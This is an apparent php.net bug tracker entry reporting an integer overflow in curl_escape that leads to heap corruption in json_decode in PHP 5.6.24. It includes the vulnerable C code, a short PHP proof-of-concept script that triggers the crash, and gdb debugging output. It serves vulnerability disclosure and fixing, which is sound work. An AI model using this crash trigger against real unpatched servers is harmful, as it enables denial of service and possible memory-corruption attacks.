|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2016-08-12 06:20 UTC] stas@php.net
-Package: JSON related
+Package: cURL related
[2016-08-12 06:20 UTC] stas@php.net
[2016-08-12 06:21 UTC] stas@php.net
[2016-08-12 06:22 UTC] stas@php.net
-Summary: integer overflow in php_json_decode_ex caused heap
corruption
+Summary: integer overflow in curl_escape caused heap
corruption
[2016-08-12 06:41 UTC] stas@php.net
-PHP Version: 5.6Git-2016-08-11 (Git)
+PHP Version: 5.6.24
-Assigned To:
+Assigned To: stas
[2016-08-12 06:41 UTC] stas@php.net
[2016-08-13 10:53 UTC] minhrau dot vc dot 365 at gmail dot com
[2016-08-13 19:09 UTC] stas@php.net
[2016-08-15 02:40 UTC] minhrau dot vc dot 365 at gmail dot com
[2016-08-15 04:11 UTC] minhrau dot vc dot 365 at gmail dot com
[2016-08-17 06:43 UTC] stas@php.net
-Status: Assigned
+Status: Closed
[2016-08-17 06:43 UTC] stas@php.net
[2017-02-13 01:46 UTC] stas@php.net
-Type: Security
+Type: Bug
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sat Oct 25 23:00:01 2025 UTC |
Description: ------------ There is integer overflow in php_json_decode_ex function: PHP_JSON_API void php_json_decode_ex(zval *return_value, char *str, int str_len, int options, long depth TSRMLS_DC) /* {{{ */ { int utf16_len; zval *z; unsigned short *utf16; JSON_parser jp; utf16 = (unsigned short *) safe_emalloc((str_len+1), sizeof(unsigned short), 1); //<- str_len here is -1, +1 become 0 utf16_len = json_utf8_to_utf16(utf16, str, str_len); <- json_utf8_to_utf16 with str_len negative in json_utf8_to_utf16 function: static int json_utf8_to_utf16(unsigned short *utf16, char utf8[], int len) /* {{{ */ { size_t pos = 0, us; int j, status; if (utf16) { /* really convert the utf8 string */ for (j=0 ; pos < len ; j++) { //<- pos > len all the time so it cause heap corruption here: static int json_utf8_to_utf16(unsigned short *utf16, char utf8[], int len) /* {{{ */ ... if (utf16) { ... } else { utf16[j] = (unsigned short)us; //<- check the debug log } } ... Test script: --------------- <?php ini_set('memory_limit', -1); $password = "password"; $iterations = 1; $str = str_repeat('#', 0xffffffff/3); $ch = curl_init('http://example.com/redirect.php'); $str1 = curl_escape($ch, $str); //<- for demo purpose, attacker can use other kind of string construction in PHP to build string. var_dump(strlen($str)); var_dump(strlen($str1)); json_decode($str1); ?> Expected result: ---------------- No crash Actual result: -------------- int(1431655765) int(-1) Program received signal SIGSEGV, Segmentation fault. 0x00000000005bc0ef in json_utf8_to_utf16 (utf16=utf16@entry=0x7ffff7fa8b60, utf8=utf8@entry=0x7ffc497da030 "%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%2"..., len=len@entry=-1) at /home/minhrau/PHP-5.6.24/ext/json/json.c:390 390 utf16[j] = (unsigned short)us; (gdb) bt #0 0x00000000005bc0ef in json_utf8_to_utf16 (utf16=utf16@entry=0x7ffff7fa8b60, utf8=utf8@entry=0x7ffc497da030 "%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%2"..., len=len@entry=-1) at /home/minhrau/PHP-5.6.24/ext/json/json.c:390 #1 0x00000000005bfc72 in php_json_decode_ex (return_value=return_value@entry=0x7ffff7fa83f8, str=0x7ffc497da030 "%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%2"..., str_len=-1, options=0, depth=512) at /home/minhrau/PHP-5.6.24/ext/json/json.c:692 #2 0x00000000005c02f7 in zif_json_decode (ht=<optimized out>, return_value=0x7ffff7fa83f8, return_value_ptr=<optimized out>, this_ptr=<optimized out>, return_value_used=<optimized out>) at /home/minhrau/PHP-5.6.24/ext/json/json.c:848 #3 0x00000000007c4bdd in zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:558 #4 0x000000000074f69e in execute_ex (execute_data=0x7ffff7f732b0) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:363 #5 0x000000000071a891 in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0, file_count=file_count@entry=3) at /home/minhrau/PHP-5.6.24/Zend/zend.c:1341 #6 0x00000000006b8c20 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd0f0) at /home/minhrau/PHP-5.6.24/main/main.c:2613 #7 0x00000000007c65e7 in do_cli (argc=2, argv=0xf27d50) at /home/minhrau/PHP-5.6.24/sapi/cli/php_cli.c:994 #8 0x000000000042b8a4 in main (argc=2, argv=0xf27d50) at /home/minhrau/PHP-5.6.24/sapi/cli/php_cli.c:1378 (gdb) info proc mappings process 12342 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0xc65000 0x865000 0x0 /home/minhrau/PHP-5.6.24/sapi/cli/php 0xe64000 0xf06000 0xa2000 0x864000 /home/minhrau/PHP-5.6.24/sapi/cli/php 0xf06000 0x1137000 0x231000 0x0 [heap] 0x7ffc497da000 0x7ffd4981b000 0x100041000 0x0 0x7fff9ed72000 0x7ffff42f3000 0x55581000 0x0 0x7ffff7dab000 0x7ffff7dd9000 0x2e000 0x0 0x7ffff7dd9000 0x7ffff7dfc000 0x23000 0x0 /usr/lib/ld-2.23.so 0x7ffff7e21000 0x7ffff7fbe000 0x19d000 0x0 0x7ffff7ff6000 0x7ffff7ff7000 0x1000 0x0 0x7ffff7ff7000 0x7ffff7ffa000 0x3000 0x0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 0x2000 0x0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x23000 /usr/lib/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x24000 /usr/lib/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall] (gdb) i r rax 0x32 50 rbx 0xffffffffffffffff -1 rcx 0x32 50 rdx 0xaa50 43600 rsi 0x0 0 rdi 0x7ffc497da030 140721541455920 rbp 0x7ffff7fa8b60 0x7ffff7fa8b60 rsp 0x7fffffffaa70 0x7fffffffaa70 r8 0xaa50 43600 r9 0x0 0 r10 0x1 1 r11 0x246 582 r12 0x7ffc497da030 140721541455920 r13 0x7fffffffaa78 140737488333432 r14 0x7fffffffaa74 140737488333428 r15 0xaa50 43600 rip 0x5bc0ef 0x5bc0ef <json_utf8_to_utf16+175> eflags 0x10213 [ CF AF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) p j $1 = 43600 (gdb) p utf16 $2 = (unsigned short *) 0x7ffff7fa8b60 (gdb)